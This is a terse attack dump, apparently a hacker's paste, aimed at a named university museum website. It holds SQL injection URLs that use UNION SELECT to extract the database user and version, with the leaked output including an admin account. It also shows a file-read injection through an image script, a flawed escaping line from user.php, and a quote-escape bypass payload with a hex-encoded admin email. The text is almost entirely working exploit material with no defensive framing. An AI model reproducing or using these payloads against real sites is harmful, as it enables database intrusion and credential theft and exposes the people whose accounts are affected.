http://webmuseum.mit.edu/info.php?&v=1&s=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),versi on()),6,7,8,9,10,11,12,13,14,15+--+&type=exh&t=exhibitions
Mobius@localhost:5.0.41-community-nt
2:admin@mit.mit:<pwd_cutted>

http://webmuseum.mit.edu/grabimg.php?wm=1&kv=-1+union+select+1,'../../grabimg.php'+--+

user.php
$addedterm = strtoupper($field) . " = '" . str_replace("'","\'",$criteria) . "'";

a\' OR EMAIL=0x61646d696e406d69742e6d6974 -- -;asdasd